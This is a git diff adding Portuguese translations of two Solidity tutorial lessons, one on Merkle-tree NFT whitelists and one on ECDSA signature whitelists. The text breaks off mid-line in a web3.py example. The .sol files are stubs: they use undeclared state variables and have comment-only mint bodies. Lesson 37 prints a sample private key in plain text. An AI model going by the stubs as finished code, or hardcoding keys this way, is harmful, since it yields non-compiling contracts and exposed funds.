000000000..9b91cd3ec --- /dev/null +++ b/Languages/pt-br/36_MerkleTree/MerkleTree.sol @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.21; + +import "../34_ERC721/ERC721.sol"; + + +/** + * Usando a árvore de Merkle para verificar uma lista branca (gerar a árvore de Merkle na página: https://lab.miguelmota.com/merkletreejs/example/) + * Selecione Keccak-256, hashLeaves e sortPairs + * 4 endereços de folha: + [ + "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", + "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db", + "0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB" + ] + * Prova de Merkle para o primeiro endereço: + [ + "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", + "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" + ] + * Raiz de Merkle: 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 + */ + + +/** + * @dev Verifica o contrato da árvore de Merkle. + * + * A prova pode ser gerada usando a biblioteca JavaScript: + * https://github.com/miguelmota/merkletreejs[merkletreejs]. + * Observe: o hash é feito com keccak256 e a ordenação de pares está ativada. + * Veja um exemplo em JavaScript em `https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/test/utils/cryptography/MerkleProof.test.js`. + */ +library MerkleProof { + /** + * @dev Quando o `root` reconstruído a partir do `proof` e `leaf` é igual ao `root` fornecido, retorna `true`, indicando que os dados são válidos. + * Durante a reconstrução, os pares de nós folha e elementos são ordenados. + */ + function verify( + bytes32[] memory proof, + bytes32 root, + bytes32 leaf + ) internal pure returns (bool) { + return processProof(proof, leaf) == root; + } + + /** + * @dev Retorna a `root` calculada usando a árvore de Merkle com `leaf` e `proof`. O `proof` só é válido quando a `root` reconstruída é igual à `root` fornecida. + * Durante a reconstrução, os pares de nós folha e elementos são ordenados. + */ + function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { + bytes32 computedHash = leaf; + for (uint256 i = 0; i < proof.length; i++) { + computedHash = _hashPair(computedHash, proof[i]); + } + return computedHash; + } + + // Sorted Pair Hash + function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { + return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a)); + } +} + +contract MerkleTree is ERC721 { + // Raiz da árvore de Merkle + // Registre os endereços já mintados + + // Construtor, inicializa o nome, código e raiz da árvore Merkle da coleção NFT. + constructor(string memory name, string memory symbol, bytes32 merkleroot) + ERC721(name, symbol) + { + root = merkleroot; + } + + // Usando a árvore de Merkle para verificar o endereço e fazer a mintagem + function mint(address account, uint256 tokenId, bytes32[] calldata proof) + external + { + // Merkle verificação aprovada + // O endereço não foi mintado antes. + + // Registre os endereços que foram mintados + // mint + } + + // Calcular o valor de hash das folhas da árvore de Merkle + function _leaf(address account) + internal pure returns (bytes32) + { + return keccak256(abi.encodePacked(account)); + } + + // Verificação da árvore de Merkle, chamando a função verify() da biblioteca MerkleProof + function _verify(bytes32 leaf, bytes32[] memory proof) + internal view returns (bool) + { + return MerkleProof.verify(proof, root, leaf); + } +} diff --git a/Languages/pt-br/36_MerkleTree/img/36-1.png b/Languages/pt-br/36_MerkleTree/img/36-1.png new file mode 100644 index 000000000..965c2fa9d Binary files /dev/null and b/Languages/pt-br/36_MerkleTree/img/36-1.png differ diff --git a/Languages/pt-br/36_MerkleTree/img/36-2.png b/Languages/pt-br/36_MerkleTree/img/36-2.png new file mode 100644 index 000000000..acbbba259 Binary files /dev/null and b/Languages/pt-br/36_MerkleTree/img/36-2.png differ diff --git a/Languages/pt-br/36_MerkleTree/img/36-3.png b/Languages/pt-br/36_MerkleTree/img/36-3.png new file mode 100644 index 000000000..44fcded14 Binary files /dev/null and b/Languages/pt-br/36_MerkleTree/img/36-3.png differ diff --git a/Languages/pt-br/36_MerkleTree/img/36-4.png b/Languages/pt-br/36_MerkleTree/img/36-4.png new file mode 100644 index 000000000..634b6baaf Binary files /dev/null and b/Languages/pt-br/36_MerkleTree/img/36-4.png differ diff --git a/Languages/pt-br/36_MerkleTree/img/36-5.png b/Languages/pt-br/36_MerkleTree/img/36-5.png new file mode 100644 index 000000000..147c5d8dd Binary files /dev/null and b/Languages/pt-br/36_MerkleTree/img/36-5.png differ diff --git a/Languages/pt-br/36_MerkleTree/img/36-6.png b/Languages/pt-br/36_MerkleTree/img/36-6.png new file mode 100644 index 000000000..7c3d3470c Binary files /dev/null and b/Languages/pt-br/36_MerkleTree/img/36-6.png differ diff --git a/Languages/pt-br/36_MerkleTree/img/36-7.png b/Languages/pt-br/36_MerkleTree/img/36-7.png new file mode 100644 index 000000000..93bde486d Binary files /dev/null and b/Languages/pt-br/36_MerkleTree/img/36-7.png differ diff --git a/Languages/pt-br/36_MerkleTree/readme.md b/Languages/pt-br/36_MerkleTree/readme.md new file mode 100644 index 000000000..67c905380 --- /dev/null +++ b/Languages/pt-br/36_MerkleTree/readme.md @@ -0,0 +1,173 @@ +# 36. Árvore de Merkle + +Recentemente tenho revisitado o Solidity, reforçando os detalhes e escrevendo um "Guia Simplificado de Solidity" para iniciantes (os experts em programação podem procurar por outros tutoriais). Estarei lançando de 1 a 3 lições por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Junte-se à comunidade de cientistas do WTF, com instruções para acessar o grupo do Discord [aqui](https://discord.gg/5akcruXrsk). + +Todo o código e tutoriais estão disponíveis no GitHub (Certificado de Curso após 1024 stars, NFT do grupo após 2048 stars): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, apresentarei a Árvore de Merkle e como usá-la para distribuir uma lista branca de NFTs. + +## Árvore de Merkle +A Árvore de Merkle, também conhecida como árvore de hash, é uma tecnologia de criptografia fundamental para blockchain, amplamente utilizada no Bitcoin e Ethereum. É uma árvore criptográfica construída de baixo para cima, em que cada folha é o hash dos dados correspondentes, e cada não folha é o hash dos seus 2 nós filhos. + +A Árvore de Merkle permite verificar eficaz e seguramente o conteúdo de estruturas de dados grandes (Merkle Proof). Para uma Árvore de Merkle com `N` folhas, verificar se um dado é válido (pertence às folhas da Árvore de Merkle) com o conhecimento da raiz (`root`) requer apenas `log(N)` dados (também chamados de `proof`), sendo muito eficiente. Se os dados estiverem incorretos ou o `proof` fornecido estiver errado, não será possível derivar a raiz (`root`). +No exemplo abaixo, a `Merkle Proof` da folha `L1` é o `Hash 0-1` e o `Hash 1`: com esses dois valores, é possível verificar se o valor de `L1` está nas folhas da Árvore de Merkle. Por quê? +Pois a partir da folha `L1`, podemos calcular o `Hash 0-0`. Sabendo o `Hash 0-1`, também podemos calcular o `Hash 0`. Então, usando o `Hash 0` e o `Hash 1`, conseguimos calcular o `Top Hash`, que é a raiz da árvore. + +## Gerando uma Ávore de Merkle +Podemos usar um [site](https://lab.miguelmota.com/merkletreejs/example/) ou a biblioteca Javascript [merkletreejs](https://github.com/miguelmota/merkletreejs) para gerar uma Árvore de Merkle. + +Aqui, vamos usar o site para gerar uma Árvore de Merkle com 4 endereços como folhas. Os endereços das folhas são: + +```solidity +[ + "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", + "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db", + "0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB" +] +``` + +Selecionamos as opções `Keccak-256`, `HashLeaves` e `SortPairs` no menu, e clicamos em `Compute` para gerar a Árvore de Merkle. A Árvore de Merkle expandida fica assim: + +``` +└─ Raiz: eeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 + ├─ 9d997719c0a5b5f6db9b8ac69a988be57cf324cb9fffd51dc2c37544bb520d65 + │ ├─ Folha0: 5931b4ed56ace4c46b68524cb5bcbf4195f1bbaacbe5228fbd090546c88dd229 + │ └─ Folha1: 999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb + └─ 4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c + ├─ Folha2: 04a10bfd00977f54cc3450c9b25c9b3a502a089eba0097ba35fc33c4ea5fcb54 + └─ Folha3: dfbe3e504ac4e35541bebad4d0e7574668e16fefa26cd4172f93e18b59ce9486 +``` + +## Verificação da `Merkle Proof` +Através do site, podemos obter a `proof` para o `endereço0`, que são os valores dos nós azuis na imagem 2: + +```solidity +[ + "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", + "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" +] +``` + +Vamos usar a biblioteca `MerkleProof` para verificar: + +```solidity +library MerkleProof { + function verify( + bytes32[] memory proof, + bytes32 root, + bytes32 leaf + ) internal pure returns (bool) { + return processProof(proof, leaf) == root; + } + + function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { + bytes32 computedHash = leaf; + for (uint256 i = 0; i < proof.length; i++) { + computedHash = _hashPair(computedHash, proof[i]); + } + return computedHash; + } + + function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { + return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a)); + } +} +``` + +A biblioteca `MerkleProof` possui três funções: + +1. A função `verify()`: verifica se o `leaf` pertence à Árvore de Merkle com raiz `root`. Ela chama a função `processProof()`. + +2. A função `processProof()`: calcula a raiz da Árvore de Merkle usando o `proof` e o `leaf`. Ela chama a função `_hashPair()`. + +3. A função `_hashPair()`: calcula o hash dos dois nós filhos (ordenados) em um nó não folha. + +Vamos inserir o `endereço0`, a `root` e a `proof` na função `verify()`. Se os valores estiverem corretos, a função retornará `true`. Qualquer valor alterado resultará em `false`. + +## Distribuição de uma lista branca de `NFT` usando `Merkle Tree` + +Com uma lista branca de 800 endereços, a taxa de gás necessária para atualização pode facilmente exceder 1 ETH. Como a verificação da Árvore de Merkle pode ser feita com `proof` e `leaf` armazenados no backend, e no blockchain apenas a raiz precisa ser mantida, é muito econômico em termos de gás. Muitos projetos usam a Árvore de Merkle para distribuir listas brancas. Muitos NFTs padronizados pelo ERC721 e tokens padronizados pelo ERC20 distribuem listas brancas ou recompensas usando a Árvore de Merkle, como por exemplo, a otimização de distribuição. + +Aqui, explicamos como utilizar o contrato `MerkleTree` para distribuir uma lista branca de NFTs: + +```solidity +contract MerkleTree is ERC721 { + bytes32 immutable public root; + mapping(address => bool) public mintedAddress; + + constructor(string memory name, string memory symbol, bytes32 merkleroot) + ERC721(name, symbol) + { + root = merkleroot; + } + + function mint(address account, uint256 tokenId, bytes32[] calldata proof) + external + { + require(_verify(_leaf(account), proof), "Invalid merkle proof"); + require(!mintedAddress[account], "Already minted!"); + _mint(account, tokenId); + mintedAddress[account] = true; + } + + function _leaf(address account) + internal pure returns (bytes32) + { + return keccak256(abi.encodePacked(account)); + } + + function _verify(bytes32 leaf, bytes32[] memory proof) + internal view returns (bool) + { + return MerkleProof.verify(proof, root, leaf); + } +} +``` + +O contrato `MerkleTree` herda o padrão `ERC721` e utiliza a biblioteca `MerkleProof`. + +### Variáveis de Estado +O contrato possui duas variáveis de estado: +- `root` armazena a raiz da Árvore de Merkle, que é definida no momento da implantação. +- `mintedAddress` é um mapeamento que rastreia os endereços que já receberam a mintagem, marcando-os como `true`. + +### Funções +O contrato possui quatro funções: +- O construtor inicia o contrato com o nome e símbolo do NFT, bem como com a raiz da Árvore de Merkle. +- A função `mint()` é usada para a mintagem de NFTs para os endereços da lista branca. Os parâmetros são o endereço da lista branca (`account`), o `tokenId` a ser mintado e a `proof`. Primeiro, verifica se o endereço está na lista branca, se sim, minta o NFT e marque o endereço como mintado no `mintedAddress`. Durante esse processo, as funções `_leaf()` e `_verify()` são chamadas. +- A função `_leaf()` calcula o hash do endereço do nó folha da Árvore de Merkle. +- A função `_verify()` chama a função `verify()` da biblioteca `MerkleProof` para verificar a Árvore de Merkle. + +### Validação no Remix + +Usamos os 4 endereços do exemplo anterior como lista branca e geramos uma Árvore de Merkle. Implantamos o contrato `MerkleTree` com 3 parâmetros: +```solidity +name = "WTF MerkleTree" +symbol = "WTF" +merkleroot = 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 +``` + +A seguir, usamos a função `mint` para dar o NFT para o endereço0, com os 3 parâmetros: +```solidity +account = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 +tokenId = 0 +proof = [ "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" ] +``` + +Podemos verificar o sucesso do contrato ao usar a função `ownerOf` para verificar se o NFT do `tokenId` 0 foi dado para o endereço0. A operação do contrato foi um sucesso! + +Se tentarmos usar a função mint novamente, o endereço já estará marcado como `true` em `mintedAddress` e a transação será interrompida devido ao motivo `"Already minted!"`. + +## Conclusão + +Nesta lição, abordamos o conceito de Árvore de Merkle, como gerar uma Árvore de Merkle simples, como verificar uma Árvore de Merkle em um smart contract e como utilizar isso para distribuir uma lista branca de NFTs. + +Na prática, Árvores de Merkle mais complexas podem ser geradas e gerenciadas usando a biblioteca `merkletreejs` em JavaScript, e apenas a raiz precisa ser armazenada no blockchain, economizando muito gás. Muitos projetos optam por usar a Árvore de Merkle para distribuir listas brancas. + diff --git a/Languages/pt-br/37_Signature/Signature.sol b/Languages/pt-br/37_Signature/Signature.sol new file mode 100644 index 000000000..f507b52b4 --- /dev/null +++ b/Languages/pt-br/37_Signature/Signature.sol @@ -0,0 +1,228 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "../34_ERC721/ERC721.sol"; + +// Biblioteca ECDSA +library ECDSA{ + /** + * @dev Verifica se o endereço de assinatura está correto usando ECDSA, se estiver correto, retorna true + * _msgHash é o hash da mensagem + * _signature é a assinatura + * _signer é o endereço de assinatura + */ + function verify(bytes32 _msgHash, bytes memory _signature, address _signer) internal pure returns (bool) { + return recoverSigner(_msgHash, _signature) == _signer; + } + + // @dev Recupera o endereço do signatário a partir de _msgHash e _signature + function recoverSigner(bytes32 _msgHash, bytes memory _signature) internal pure returns (address){ + // Verificando o comprimento da assinatura, 65 é o comprimento padrão da assinatura r,s,v. + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Atualmente, só é possível obter os valores r, s e v da assinatura usando assembly (inline assembly). + assembly { + /* + Os primeiros 32 bytes armazenam o comprimento da assinatura (regra de armazenamento em array dinâmico) + add(sig, 32) = ponteiro de sig + 32 + Equivalente a pular os primeiros 32 bytes da assinatura + mload(p) carrega os próximos 32 bytes de dados a partir do endereço de memória p + */ + // Lendo os 32 bytes de dados de comprimento + r := mload(add(_signature, 0x20)) + // Ler os próximos 32 bytes + s := mload(add(_signature, 0x40)) + // Ler o último byte + v := byte(0, mload(add(_signature, 0x60))) + } + // Usando ecrecover (função global): recuperando o endereço do signatário usando msgHash, r, s e v + return ecrecover(_msgHash, v, r, s); + } + + /** + * @dev Retorna a mensagem de assinatura Ethereum + * `hash`: hash da mensagem + * Segue o padrão de assinatura Ethereum: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * E também `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adiciona o campo "\x19Ethereum Signed Message:\n32" para evitar que a assinatura seja uma transação executável. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 é o comprimento em bytes do hash, + // aplicado pela assinatura de tipo acima + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } +} + +contract SignatureNFT is ERC721 { + // Endereço de assinatura + // Registre os endereços já mintados + + // Construtor, inicializa o nome, código e endereço de assinatura da coleção NFT + constructor(string memory _name, string memory _symbol, address _signer) + ERC721(_name, _symbol) + { + signer = _signer; + } + + // Usando ECDSA para verificar a assinatura e criar uma nova moeda + function mint(address _account, uint256 _tokenId, bytes memory _signature) + external + { + // Empacotar mensagem com _account e _tokenId + // Calcular mensagem de assinatura Ethereum + // ECDSA verificado com sucesso + // O endereço não foi mintado antes. + + // Registre os endereços que foram mintados + // mint + } + + /* + * Combine the mint address (address type) and tokenId (uint256 type) to form the message msgHash + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * Corresponding message msgHash: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ + function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); + } + + // Verificação ECDSA, chamando a função verify() da biblioteca ECDSA + function verify(bytes32 _msgHash, bytes memory _signature) + public view returns (bool) + { + return ECDSA.verify(_msgHash, _signature, signer); + } +} + + +/* Verificação de Assinatura + +Como Assinar e Verificar +# Assinatura +1. Criar mensagem para assinar +2. Fazer o hash da mensagem +3. Assinar o hash (fora da cadeia, mantenha sua chave privada em segredo) + +# Verificação +1. Recriar o hash a partir da mensagem original +2. Recuperar o assinante da assinatura e do hash +3. Comparar o assinante recuperado com o assinante alegado +*/ + + + +contract VerifySignature { + /* 1. Desbloquear conta MetaMask + ethereum.enable() + */ + + /* 2. Obtenha o hash da mensagem para assinar + getMessageHash( + 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C, + 123, + "café e donuts", + 1 + ) + + hash = "0xcf36ac4f97dc10d91fc2cbb20d718e94a8cbfe0f82eaedc6a4aa38946fb797cd" + */ + function getMessageHash( + address _addr, + uint256 _tokenId + ) public pure returns (bytes32) { + return keccak256(abi.encodePacked(_addr, _tokenId)); + } + + /* 3. Assinar hash da mensagem + # usando o navegador + conta = "copie e cole a conta do signatário aqui" + ethereum.request({ method: "personal_sign", params: [conta, hash]}).then(console.log) + + # usando web3 + web3.personal.sign(hash, web3.eth.defaultAccount, console.log) + + A assinatura será diferente para contas diferentes + 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b + */ + function getEthSignedMessageHash(bytes32 _messageHash) + public + pure + returns (bytes32) + { + /* + A assinatura é produzida ao assinar um hash keccak256 com o seguinte formato: + "\x19Ethereum Signed Message\n" + len(msg) + msg + */ + return + keccak256( + abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash) + ); + } + + /* 4. Verificar assinatura + signatário = 0xB273216C05A8c0D4F0a4Dd0d7Bae1D2EfFE636dd + para = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C + quantidade = 123 + mensagem = "café e rosquinhas" + nonce = 1 + assinatura = + 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b + */ + function verify( + address _signer, + address _addr, + uint _tokenId, + bytes memory signature + ) public pure returns (bool) { + bytes32 messageHash = getMessageHash(_addr, _tokenId); + bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); + + return recoverSigner(ethSignedMessageHash, signature) == _signer; + } + + function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) + public + pure + returns (address) + { + (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); + + return ecrecover(_ethSignedMessageHash, v, r, s); + } + + function splitSignature(bytes memory sig) + public + pure + returns ( + bytes32 r, + bytes32 s, + uint8 v + ) + { + // Verificando o comprimento da assinatura, 65 é o comprimento padrão da assinatura r,s,v. + require(sig.length == 65, "invalid signature length"); + + assembly { + /* + Primeiros 32 bytes armazenam o comprimento da assinatura + + add(sig, 32) = ponteiro de sig + 32 + efetivamente, pula os primeiros 32 bytes da assinatura + + mload(p) carrega os próximos 32 bytes a partir do endereço de memória p para a memória + */ + + // primeiro 32 bytes, após o prefixo de comprimento + r := mload(add(sig, 0x20)) + // segundo 32 bytes + s := mload(add(sig, 0x40)) + // final byte (primeiro byte dos próximos 32 bytes) + v := byte(0, mload(add(sig, 0x60))) + } + + // retornar implicitamente (r, s, v) + } +} diff --git a/Languages/pt-br/37_Signature/img/37-1.png b/Languages/pt-br/37_Signature/img/37-1.png new file mode 100644 index 000000000..cf53ba9b9 Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-1.png differ diff --git a/Languages/pt-br/37_Signature/img/37-2.png b/Languages/pt-br/37_Signature/img/37-2.png new file mode 100644 index 000000000..2d678f861 Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-2.png differ diff --git a/Languages/pt-br/37_Signature/img/37-3.png b/Languages/pt-br/37_Signature/img/37-3.png new file mode 100644 index 000000000..da43c4c63 Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-3.png differ diff --git a/Languages/pt-br/37_Signature/img/37-4.jpg b/Languages/pt-br/37_Signature/img/37-4.jpg new file mode 100644 index 000000000..4dc376f5b Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-4.jpg differ diff --git a/Languages/pt-br/37_Signature/img/37-4.png b/Languages/pt-br/37_Signature/img/37-4.png new file mode 100644 index 000000000..dd97cf505 Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-4.png differ diff --git a/Languages/pt-br/37_Signature/img/37-5.png b/Languages/pt-br/37_Signature/img/37-5.png new file mode 100644 index 000000000..401dd0aae Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-5.png differ diff --git a/Languages/pt-br/37_Signature/img/37-6.png b/Languages/pt-br/37_Signature/img/37-6.png new file mode 100644 index 000000000..9f1564e10 Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-6.png differ diff --git a/Languages/pt-br/37_Signature/img/37-7.png b/Languages/pt-br/37_Signature/img/37-7.png new file mode 100644 index 000000000..304937291 Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-7.png differ diff --git a/Languages/pt-br/37_Signature/img/37-8.png b/Languages/pt-br/37_Signature/img/37-8.png new file mode 100644 index 000000000..df4c1306e Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-8.png differ diff --git a/Languages/pt-br/37_Signature/img/37-9.png b/Languages/pt-br/37_Signature/img/37-9.png new file mode 100644 index 000000000..a27d131cd Binary files /dev/null and b/Languages/pt-br/37_Signature/img/37-9.png differ diff --git a/Languages/pt-br/37_Signature/readme.md b/Languages/pt-br/37_Signature/readme.md new file mode 100644 index 000000000..eb47aa3e2 --- /dev/null +++ b/Languages/pt-br/37_Signature/readme.md @@ -0,0 +1,301 @@ +--- +title: 37. Assinatura Digital +tags: + - solidity + - aplicação + - wtfacademy + - ERC721 + - Assinatura +--- + +# WTF Solidity Introdução Simples: 37. Assinatura Digital + +Recentemente, tenho estudado solidity novamente para revisar alguns detalhes e escrever um "WTF Solidity Introdução Simples" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão publicadas de 1 a 3 aulas por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Junte-se à comunidade WTF Academy, temos um grupo no WeChat: [link](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub (curso certificado com 1024 estrelas, comunidade NFT com 2048 estrelas): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos dar uma breve introdução à assinatura digital `ECDSA` no Ethereum e como usá-la para criar uma lista branca de NFTs. A biblioteca `ECDSA` utilizada no código é uma versão simplificada da biblioteca de mesmo nome do OpenZeppelin. + +## Assinatura Digital + +Se você já negociou NFTs no OpenSea, está familiarizado com a assinatura digital. A imagem abaixo mostra a janela pop-up exibida pela carteira MetaMask (representada pela raposa) ao assinar uma transação. Essa janela prova que você possui a chave privada sem precisar divulgá-la publicamente. + +![MetaMask Assinatura](./img/37-1.png) + +O algoritmo de assinatura digital usado no Ethereum é chamado de Algoritmo de Assinatura Digital de Curva Elíptica (ECDSA, na sigla em inglês), que é um algoritmo de assinatura digital baseado em pares de chaves "chave privada-chave pública" em curvas elípticas. Ele desempenha três funções principais [fonte](https://en.wikipedia.org/wiki/Digital_signature): + +1. **Autenticação de identidade**: prova que o signatário é o detentor da chave privada. +2. **Não repúdio**: o remetente não pode negar ter enviado a mensagem. +3. **Integridade**: verificação de que a mensagem não foi alterada durante a transmissão, por meio da verificação da assinatura digital gerada para a mensagem transmitida. + +## Contrato ECDSA + +O padrão ECDSA consiste em duas partes: + +1. O signatário usa a `chave privada` (privada) para criar uma `assinatura` (pública) para a `mensagem` (pública). +2. Outras pessoas usam a `mensagem` (pública) e a `assinatura` (pública) para recuperar a `chave pública` do signatário (pública) e verificar a assinatura. + +Vamos explicar essas duas partes usando a biblioteca `ECDSA`. Os valores usados neste tutorial para `chave privada`, `chave pública`, `mensagem`, `mensagem assinada do Ethereum` e `assinatura` são os seguintes: + +``` +Chave privada: 0x227dbb8586117d55284e26620bc76534dfbd2394be34cf4a09cb775d593b6f2b +Chave pública: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +Mensagem: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c +Mensagem assinada do Ethereum: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +Assinatura: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +### Criação de Assinatura + +**1. Empacotar a mensagem**: No padrão ECDSA do Ethereum, a `mensagem` a ser assinada é o hash `keccak256` de um conjunto de dados, que é do tipo `bytes32`. Podemos empacotar qualquer conteúdo que desejamos assinar usando a função `abi.encodePacked()` e, em seguida, calcular o hash usando `keccak256()` para obter a `mensagem`. No exemplo abaixo, a `mensagem` é obtida a partir de uma variável do tipo `address` e uma variável do tipo `uint256`: + +```solidity + /* + * Empacota o endereço de mint (tipo address) e o tokenId (tipo uint256) para obter a mensagem msgHash + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * Mensagem correspondente msgHash: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ + function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); + } +``` + +![Empacotando a mensagem](./img/37-2.png) + +**2. Calcular a mensagem assinada do Ethereum**: A `mensagem` pode ser qualquer transação executável ou qualquer outra forma de dados. Para evitar que os usuários assinem transações maliciosas por engano, o EIP191 recomenda adicionar o caractere `"\x19Ethereum Signed Message:\n32"` antes da `mensagem` e, em seguida, calcular o hash `keccak256` novamente para obter a `mensagem assinada do Ethereum`. A mensagem processada pela função `toEthSignedMessageHash()` não pode ser usada para executar transações: + +```solidity + /** + * @dev Retorna a mensagem assinada do Ethereum + * `hash`: mensagem + * Segue o padrão de assinatura do Ethereum: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * e `EIP191`:https://eips.ethereum.org/EIPS/eip-191` + * Adiciona o campo "\x19Ethereum Signed Message:\n32" para evitar que a assinatura seja uma transação executável. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // O hash tem 32 bytes de comprimento + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } +``` + +A mensagem processada é: + +``` +Mensagem assinada do Ethereum: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +``` + +![Mensagem assinada do Ethereum](./img/37-3.png) + +**3-1. Assinatura usando uma carteira**: Na maioria das vezes, os usuários assinam mensagens dessa maneira. Após obter a `mensagem` a ser assinada, precisamos usar a carteira MetaMask para assiná-la. O método `personal_sign` do MetaMask converte automaticamente a `mensagem` em `mensagem assinada do Ethereum` e, em seguida, realiza a assinatura. Portanto, só precisamos fornecer a `mensagem` e a `conta da carteira do signatário`. É importante observar que a `conta da carteira do signatário` fornecida deve ser a mesma conta conectada ao MetaMask. + +Primeiro, importe a `chave privada` do exemplo para a carteira MetaMask e abra a página do `console` do navegador: `Menu do Chrome - Mais Ferramentas - Ferramentas de Desenvolvedor - Console`. Com a carteira conectada (por exemplo, conectada ao OpenSea, caso contrário, ocorrerá um erro), digite as seguintes instruções uma por vez para realizar a assinatura: + +``` +ethereum.enable() +account = "0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2" +hash = "0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c" +ethereum.request({method: "personal_sign", params: [account, hash]}) +``` + +No resultado retornado (promessa `PromiseResult`), você verá a assinatura criada. Cada conta tem uma chave privada diferente, portanto, a assinatura gerada será diferente. A assinatura criada com a chave privada do exemplo é a seguinte: + +``` +0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![Assinatura usando uma carteira no console do navegador](./img/37-4.jpg) + +**3-2. Assinatura usando web3.py**: Para chamadas em lote, é mais comum usar código para realizar a assinatura. Abaixo está um exemplo de implementação usando web3.py. + +```py +from web3 import Web3, HTTPProvider +from eth_account.messages import encode_defunct + +private_key = "0x227dbb8586117d55284e26620bc76534dfbd2394be34cf4a09cb775d593b6f2b" +address = "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4" +rpc = 'https://rpc.ankr.com/eth' +w3 = Web3(HTTPProvider(rpc)) + +# Empacotar a mensagem +msg = Web3.solidityKeccak(['address','uint256'], [address,0]) +print(f"Mensagem: 